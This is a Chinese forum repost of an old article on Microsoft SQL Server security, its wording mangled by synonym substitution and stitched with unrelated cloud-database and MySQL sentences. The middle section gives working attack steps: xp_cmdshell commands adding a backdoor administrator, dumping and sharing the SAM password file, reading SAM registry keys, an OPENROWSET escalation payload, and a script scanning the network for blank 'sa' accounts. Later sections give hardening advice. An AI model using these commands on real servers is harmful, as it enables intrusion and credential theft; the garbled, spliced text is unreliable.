|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
这是无法比较的,因为基于云的数据库提供了不同的模式。关键是要通过围绕云计算产品来包装其他增值服务以适应不断变化的市场条件:这就是DBaaS。server|平安|成绩关于SQLSERVER的一些平安成绩
BYXUNDI<平安核心>
xundi1@21cn.com
www.xfocus.org
今朝关于NT服务器的进侵,有良多种办法,如对IIS的毛病举行使用,但
人人不晓得注重到没有,实在经由过程与NT服务器相干联的SQL数据库服务器
的例子也是很有比例的一种手腕。人人能够参看上面的一个旧事报导:
http://www.vnunet.com/News/1110938。
Herbless进侵损坏的一些站点,如legoland.co.uk站点就是经由过程SQL服务器
的进侵而取得对体系的把持权而损坏的。以是对SQL服务器的回护是必不成
少的,这里我收拾了一些毛病供人人来参考,见笑,见笑。
----------------------------------------------------------------
我们先来看看SQL服务程序撑持的收集协定库:
----------------------------------------------------------------
|SQLServerNetworkProtocolLibraries|
----------------------------------------------------------------
|Protocollibrary|大概存在的毛病|是不是加密|
----------------------------------------------------------------
|Namedpipes|--利用NTSMB端口(TCP139,UDP137,|否|
|(着名管道)|138)来举行通讯,这些能够被通||
||的防火墙把持,但假如外部收集可||
||随便会见的话也是一个不小的缺点||
||--用户名字,暗码和数据没有举行加||
||传输,任何人能够经由过程SNIFFER来||
||举行数据捕捉。||
----------------------------------------------------------------
|IPSockets|--默许形态下开1433口,你可使用|否|
||扫描器来检察这个端口。||
||能够被SNIFFER截获数据。||
----------------------------------------------------------------
|Multi-Protocol|--客户端必要撑持NTRPCs;在分歧|是|
||品种的情况中大概引发成绩。||
||--默许情形下利用TCP随机端口,但||
||防火墙举行端口图流动完成(参||
||看KBQ164667)。||
||--必要注重加密选项是不是选择,默||
||是不选择此选项的。||
----------------------------------------------------------------
|NWLink|--存在被SNIFFER截获数据的伤害|否|
----------------------------------------------------------------
|AppleTalk(ADSP)|--存在被SNIFFER截获数据的伤害|否|
----------------------------------------------------------------
|BanyanVines|--存在被SNIFFER截获数据的伤害|否|
----------------------------------------------------------------
一样平常的保举利用是:假如你能在Integrated(NT)Security上利用NamedPipes大概
Multi-protocol,那你就利用这些协定库,假如大概,只管利用Multi-protocol
和使能加密选项。假如你下面几个不克不及利用,那就利用IPSockets协定,并改动
其默许的端口并随时反省体系包管无任何SNIFFER存在。而且,思索利用一WEB服
务大概COM组件作为使用程序的businessobjectlayer,并在两头层和SQL服务程
序中利用平安通道(securechannel)。有很多第三方的产物能够加密这方面的通讯。
-----------------------------------------------------------------------
上面再讲一下SQLSERVER的各类平安形式和它们如何举行事情?
平安形式界说了一些SQLSERVER是如何认证要利用它们服务的用户,请看上面
SQLServer6.5的平安形式和在SQLServer7.0做了改动的一些形貌和区分:
-------------------------------------------------------------------
|平安形式|SQLServer6.5|SQLServer7.0改动中央|
-------------------------------------------------------------------
|Standard|--上岸界说在SQLSERVER里|--独自的尺度形式在SQLSERVER|
|尺度形式|并且给定暗码。|没有利用了。|
||--SQLSERVER的登录帐户与||
||WINDOWNT分隔||
-------------------------------------------------------------------
|Integrated|-利用平安办理器SQL的帐|--在这里成为"WindowsNTonly"|
|综合形式|户。|形式。|
||-用户在毗连到SQLSERVER|--只事情在NT体系下,在WIN9X不|
||不必要特定分隔LOGIN和|撑持。|
||暗码。||
||-暗码从不存储在使用程序|--能够间接分离到NT的组中便于|
||中,其实不以明文在收集中|办理,(注重有一BUILTIN组在|
||传输。|当地体系上发生).|
||-SQLSERVER可使用NT的||
||的认证体例来认证用户并||
||可使用如帐户过时等。||
||-必要NamedPipe或Multi-||
||Protocol库。||
--------------------------------------------------------------------
|Mixed|-供应下面的体例的一些特|--成为SQLSERVER和WINDOWSNT|
|夹杂性体例|征但有前进的器材是客户|形式。|
||端不克不及创建可托任毗连。|--只管利用WINDOWNTONLY形式||
--------------------------------------------------------------------
登录只不外是第一步,一旦用户登录,用户必需会见自力的数据库,要使下面
的建立,就必需在sysusers内外存在一表目给用户用的每一个数据库。以是平安
请你注重在你的数据库中是不是存在"guest"帐户和包管不会在你不注重的时分给
某些人会见你的数据库。
具体的人人能够参看微软的站点:
http://www.microsoft.com/technet/SQL/Technote/secure.asp
---------------------------------------------------------------------
关于SQLSERVER存在的一些平安成绩:
存在"sa"帐户,暗码就为空,并且这个暗码是SQLSERVER平安模块成员,我们就
能够经由过程xp_cmdshellstoredprocedure(扩大存储历程)来举行命
令操纵,如:
Xp_cmdshell"netusertestuserUgotHacked/ADD"
然后在:
Xp_cmdshell"netlocalgroupAdministratorstestuser/ADD"
如许打击者就乐成的在SQLSERVER上增添了一个用户。
固然远程的话,一样平常必要有1433口开着,经由过程MYSQL客户端举行毗连。
固然你也能够利用:
Xp_cmdshell"rdisk/s-"
的办法,如许就在winntepair目次里重修了信息而不提醒用户。然后
在SAM备份今后,打击者能够创建一个SMB毗连到共享大概创建一个毗连:
Xp_cmdshell"netsharegetsam=c:winntepair"
使用共享取得这个文件,然后在利用l0phtcrack来跑吧。假如SMB端口被防火墙
把持了,大概封闭了,打击者也能够拷贝sam._文件到WEB目次举行匿名扫瞄器
下载。假如人家没有开IIS,你何不必tftp呢:).
OK,经由过程这台被把持的SQLSERVER服务器,打击者能够经由过程它来查找收集外部
其他呆板来扩展战果,上面是一个SQL剧本来枚举收集中其他SQLSERVER存在
空帐户sa的示例:
-----------------------------------------------------------------------
--Createtemptabletostoreenumeratedservers
SETNOCOUNTON
CREATETABLE#temp(shelldumpvarchar(255))
INSERT#tempEXECxp_cmdshellosql-L
DECLARE@current_servervarchar(255),@conn_stringvarchar(255)
DECLAREsql_cursorCURSORFORSELECT*FROM#temp
OPENsql_cursorFETCHNEXTFROMsql_cursorINTO@current_server
--Loopthroughpotentialtargetsandcheckfornullsaaccounts
--Iftargetisvulnerable,versioninformationwillbedisplayed
WHILE@@FETCH_STATUS=0
BEGIN
If@current_serverServers:
BEGIN
SELECT@current_server=rtrim(ltrim(@current_server))
SELECT@conn_string=execxp_cmdshellosql-S+@current_server+-Usa-P-Q"select@@version"
PRINTAttemptingconnectiontoserver:+@current_server
EXECUTE(@conn_string)
PRINT=====================================================================
END
FETCHNEXTFROMsql_cursorINTO@current_server
END
--Cleanup
CLOSEsql_cursor
DEALLOCATEsql_cursor
DROPTABLE#TEMP
----------------------------------------------------------------------
固然有些人也大概封闭xp_cmdshellextendedstoredprocedure(扩大存储历程),
我们也能够利用上面的办法:
xp_regreadHKEY_LOCAL_MACHINE,SECURITYSAMDomainsAccount,F
假如MSSqlserver服务在当地体系帐户下运转,而且假如体系上没有安装syskey,下面
的挪用就能够前往注册表中加密的暗码大概SID。
--------------------------------------------------------------------------
另外一个毛病,是关于adhocheterogenousqueries来举行权力的提拔,请看上面微软
的形貌:http://www.microsoft.com/technet/security/bulletin/fq00-014.asp
关于下面的毛病,可使用上面的xploit来取得权力的提拔:
SELECT*FROMOPENROWSET(SQLOLEDB,Trusted_Connection=Yes;DataSource=myserver,
SETFMTONLYOFFexecutemaster..xp_cmdshell"dirc:")
这是人人对照喜好的一种能够实行其他命令,本人想吧。
---------------------------------------------------------------------------
另有就是比来的一个毛病:ExtendedStoredProcedureParameterParsing(扩大存储
历程参数剖析)的毛病,具体信息在这个URL有先容:
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。
起次要成绩是在MSD中供应一个API函数srv_paraminfo(),它是用来扩大存储历程挪用时
注释深切参数的,如:
exec<存储历程名><参数1>,<参数2>,...
如要查询“c:winnt”的目次树,能够以下表达:
execxp_dirtreec:winnt
但没有反省各个参数的长度,传送相称长的字符串,就存在了掩盖其他仓库
参数的大概招致缓冲溢出。
今朝已晓得的历程以下:
今朝已知受影响的扩大存储历程以下:
1、xp_peekqueue(xpqueue.dll)
xp_printstatements(xprepl.dll)
给第一个参数传送超长的字符串会掩盖非常处置程序所保留的前往地点。
2、xp_proxiedmetadata(xprepl.dll)
该存储历程利用4个参数。给第二个参数传送超长的字符串会掩盖非常处
理程序所保留的前往地点。
3、xp_SetSQLSecurity(xpstar.dll)
该存储历程利用4个参数。给第三个参数传送超长的字符串会使全部SQL
Server历程当即停止。
4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv(xprepl.dll)
xp_updatecolvbm(xprepl.dll)
给第一个参数传送超长的串将招致不法操纵并掩盖非常处置程序所保留的返
回地点。
这里告知人人一个技能性的器材,假如想要晓得这些扩大存储历程挪用了那写dll
文件,你能够以下操纵,如:
selecto.name,c.textfromdbo.syscommentsc,dbo.sysobjectsowherec.id=o.idando.name
=xp_peekqueue
如许你就能够取得挪用这个扩大存储历程的DLL了,假如微软没有出补钉的话,你就
临时把这个DLL文件更名吧,固然有些DLL文件挪用几个扩大存储历程,不克不及自觉变动,
不然招致其他的也不克不及利用,你必要利用上面的操纵来晓得DLL挪用那些扩大存储历程:
selecto.name,c.textfromdbo.syscommentsc,dbo.sysobjectsowherec.id=o.idandc.text=xpqueue.dll
幸亏微软出了补钉,你能够到上面的中央找到,不必一个一个找DLL程序了,呵呵:
http://support.microsoft.com/support/sql/xp_security.asp
这个毛病@stake发明并供应演示的测试代码,人人可在这里找到:
http://www.atstake.com/research/advisories/2000/sqladv2-poc.c
--------------------------------------------------------------------------
OK,固然SQLSERVER也有一些其他毛病,绝对稍微些,如ISS发明的办理员
LOGINID存储在注册表中,其加密的办法对照复杂,很简单取得,具体情形
请看:http://xforce.iss.net/alerts/advise45.php3。人人能够到其他
中央找找。
---------------------------------------------------------------------
一些对SQLSERVER体系的平安倡议:
--包管打上最新的平安补钉,以下:
WindowsNT4.0-ServicePack6a
SQLServer6.5-ServicePack5a
SQLServer7.0-ServicePack2.(Varioushotfixes-check
http://www.microsoft.com/download)
SQLServer2000-HotfixS80233i.exe(Intel)
固然人人要亲切注重微软的平安通告。
--不要在IPsockets利用端口1433,假如你利用Multi-protocol也请
修正端口。
--不要把sa暗码嵌进就任意使用程序如VB/DELPHIapps里,大概一
global.asa文件里,由于"sa"是SQLServer的一个默许暗码,其权限
相似与WINDOWSNT体系里的办理员帐户,并且暗码为空。
--改动sa和probe帐户的暗码。
--包管SQLSERVER的毛病纪录在NTFS体系上。
--假如你不必要xp_cmdshell(usesp_dropextendedprocxp_cmdshell)
就不要把xp_cmdshellextendedstoredproc(扩大存储历程)留在服务
器上。在任何isql窗口中输出:
usemaster
sp_dropextendedprocxp_cmdshell
--抛弃不必要OLE主动存储历程,固然EnterpriseManager中的某些特性也
会不克不及利用,这些历程包含以下:
Sp_OACreateSp_OADestroy
Sp_OAGetErrorInfoSp_OAGetProperty
Sp_OAMethodSp_OASetProperty
Sp_OAStop
--往失落不必要的注册表会见历程,以下:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
--往失落其他体系存储历程,假如你以为你以为你另有威逼,固然
要当心Drop这些历程,你能够在测试呆板上测试,包管你一般的
体系能完成事情,这些历程包含:
sp_bindsessionsp_cursorsp_cursorclose
sp_cursorfetchsp_cursoropensp_cursoroption
sp_getbindtokensp_GetMBCSCharLensp_IsMBCSLeadByte
sp_OACreatesp_OADestroysp_OAGetErrorInfo
sp_OAGetPropertysp_OAMethodsp_OASetProperty
sp_OAStopsp_replcmdssp_replcounters
sp_repldonesp_replflushsp_replstatus
sp_repltranssp_sdidebugxp_availablemedia
xp_cmdshellxp_deletemailxp_dirtree
xp_dropwebtaskxp_dsninfoxp_enumdsn
xp_enumerrorlogsxp_enumgroupsxp_enumqueuedtasks
xp_eventlogxp_findnextmsgxp_fixeddrives
xp_getfiledetailsxp_getnetnamexp_grantlogin
xp_logeventxp_loginconfigxp_logininfo
xp_makewebtaskxp_msverxp_perfend
xp_perfmonitorxp_perfsamplexp_perfstart
xp_readerrorlogxp_readmailxp_revokelogin
xp_runwebtaskxp_schedulersignalxp_sendmail
xp_servicecontrolxp_snmp_getstatexp_snmp_raisetrap
xp_sprintfxp_sqlinventoryxp_sqlregister
xp_sqltracexp_sscanfxp_startmail
xp_stopmailxp_subdirsxp_unc_to_drive
--往失落数据库中guest用户。
--封闭SQLMAIL兼容才能,避免传送一些木马病毒等。
--设置一个义务处置来准时运转上面的程序:
findstr/C:"LoginFailed"mssql7log*.*
再重定向到其他文件大概MAIL到办理员信箱。
--常常反省带有空暗码的帐户:
Usemaster
Selectname,
Password
fromsyslogins
wherepasswordisnull
orderbyname
--反省一切不必要sa权限的存储历程和扩大存储历程会见权限:
Usemaster
Selectsysobjects.name
Fromsysobjects,sysprotects
Wheresysprotects.uid=0
ANDxtypeIN(X,P)
ANDsysobjects.id=sysprotects.id
Orderbyname
--包管SQLSERVER的传输信息在断绝的收集段中。
你可以配置MySQL运行在微小的嵌入式应用程序中,处理的数据可能不足1Mb??而你也可以用它来处理数Tb的数据。MySQL获得这种可扩展性的路径之一是通过一个人们所熟知的存储过程,这是一个运行在程序之外的微型、预编译程序。 |
|